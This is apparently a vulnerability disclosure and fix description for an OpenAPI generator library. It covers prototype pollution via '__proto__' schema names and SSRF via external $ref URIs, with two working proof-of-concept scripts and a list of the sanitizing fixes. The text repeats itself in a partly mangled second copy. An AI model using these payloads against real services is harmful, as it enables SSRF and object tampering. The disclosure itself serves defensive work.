Summary
This issue describes a critical security problem that allows untrusted input to cause prototype pollution and to include external $ref URIs in generated OpenAPI documents. An attacker supplying a specially crafted schema name or component can: (1) create prototype properties like __proto__ and potentially cause prototype pollution; (2) include external $ref URIs that naive dereferencers might fetch, causing SSRF.
Affected code paths
OpenAPIRegistry.register, registerParameter, registerComponent, registerPath, registerWebhook — previously accepted arbitrary names and objects.
OpenApiGenerator constructor/generateDocument when accepting raw definitions in the generator.
- Downstream dereferencers that automatically fetch
$ref URIs.
Impact
- Prototype pollution impacting code that iterates object keys, or using
in/hasOwnProperty checks.
- SSRF: external
$ref URIs fetched by users' tools (a dereferencer) may fetch internal/external resources upon document generation.
Proof-of-concept (PoC) code
- Prototype PoC —
poc/prototype-poc.js
// Prototype PoC: attempt to register a component named '__proto__' via generator
const { OpenApiGeneratorV3 } = require('../dist/index.cjs'); // or require('../src/v3.0/openapi-generator') for source
const definitions = [
{ type: 'component', componentType: 'schemas', name: '__proto__', component: { pwned: 'yes' } },
{ type: 'component', componentType: 'schemas', name: 'Legit', component: { type: 'string' } },
];
const generator = new OpenApiGeneratorV3(definitions);
const doc = generator.generateDocument({ openapi: '3.0.0', info: { title: 'poc', version: '1.0.0' } });
console.log('schema keys:', Object.getOwnPropertyNames(doc.components.schemas));
console.log('doc.components.schemas.__proto__ is own prop?', Object.prototype.hasOwnProperty.call(doc.components.schemas, '__proto__'));
// Try assignment to prove prototype change
const obj = {};
Object.setPrototypeOf(obj, doc.components.schemas.__proto__);
console.log('obj.pwned:', obj.pwned);
- SSRF PoC —
poc/ssrf-poc.js
const http = require('http');
const fetch = require('node-fetch');
const { OpenApiGeneratorV3 } = require('../dist/index.cjs'); // or source import
const server = http.createServer((req, res) => {
console.log('Server received request for', req.url);
res.setHeader('Content-Type', 'application/json');
res.end(JSON.stringify({ ok: true }));
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
const url = `http://127.0.0.1:${port}/evil-schema.json`;
const definitions = [
{ type: 'component', componentType: 'schemas', name: 'Legit', component: { type: 'string' } },
{ type: 'component', componentType: 'schemas', name: 'EvilRef', component: { $ref: url } },
{
type: 'route',
route: {
method: 'get',
path: '/test',
responses: { 200: { description: 'Evil', content: { 'application/json': { schema: { $ref: url } } } } },
},
},
];
const generator = new OpenApiGeneratorV3(definitions);
const doc = generator.generateDocument({ openapi: '3.0.0', info: { title: 'ssrf poc', version: '1.0.0' } });
console.log('Generated document contains external refs:', JSON.stringify(doc, null, 2));
// naive dereferencer
async function dereference(obj) {
if (obj.$ref && typeof obj.$ref === 'string' && !obj.$ref.startsWith('#')) {
const res = await fetch(obj.$ref);
return res.json();
}
// recursively deref
if (Array.isArray(obj)) return Promise.all(obj.map(dereference));
if (!obj || typeof obj !== 'object') return obj;
const out = {};
for (const k of Object.keys(obj)) out[k] = await dereference(obj[k]);
return out;
}
const derefDoc = await dereference(doc);
console.log('Dereferenced document:', JSON.stringify(derefDoc, null, 2));
server.close();
});
Fix implemented
- Added helper:
src/lib/sanitize.ts with isSafeName, isLocalRef and hasExternalRef.
- New error classes in
src/errors.ts: InvalidRefOrComponentNameError, ExternalReferenceNotAllowedError.
- Validate names in:
OpenAPIRegistry.register, registerParameter, registerComponent, OpenAPIRegistry.registerPath, registerWebhook.
- Validate raw components passed to the
OpenApiGenerator definitions (generator-level validation), rejecting unsafe names and external $ref URIs.
- Prevented external
$ref injection in route request/response content in OpenApiGenerator.getBodyContent and OpenAPIRegistry.registerPath.
- Added test:
spec/security.spec.ts that validates the above behavior.
Files changed
- Modified:
src/openapi-registry.ts, src/openapi-generator.ts, src/errors.ts, README.md, package.json.
Summary
This issue describes a critical security problem that allows untrusted input to cause prototype pollution and to include external
$refURIs in generated OpenAPI documents. An attacker supplying a specially crafted schema name or component can: (1) create prototype properties like__proto__and potentially cause prototype pollution; (2) include external$refURIs that naive dereferencers might fetch, causing SSRF.Affected code paths
OpenAPIRegistry.register,registerParameter,registerComponent,registerPath,registerWebhook— previously accepted arbitrary names and objects.OpenApiGeneratorconstructor/generateDocumentwhen accepting rawdefinitionsin the generator.$refURIs.Impact
in/hasOwnPropertychecks.$refURIs fetched by users' tools (a dereferencer) may fetch internal/external resources upon document generation.Proof-of-concept (PoC) code
poc/prototype-poc.jspoc/ssrf-poc.jsFix implemented
src/lib/sanitize.tswithisSafeName,isLocalRefandhasExternalRef.src/errors.ts:InvalidRefOrComponentNameError,ExternalReferenceNotAllowedError.OpenAPIRegistry.register,registerParameter,registerComponent,OpenAPIRegistry.registerPath,registerWebhook.OpenApiGeneratordefinitions (generator-level validation), rejecting unsafe names and external$refURIs.$refinjection in route request/response content inOpenApiGenerator.getBodyContentandOpenAPIRegistry.registerPath.spec/security.spec.tsthat validates the above behavior.Files changed
src/openapi-registry.ts,src/openapi-generator.ts,src/errors.ts,README.md,package.json.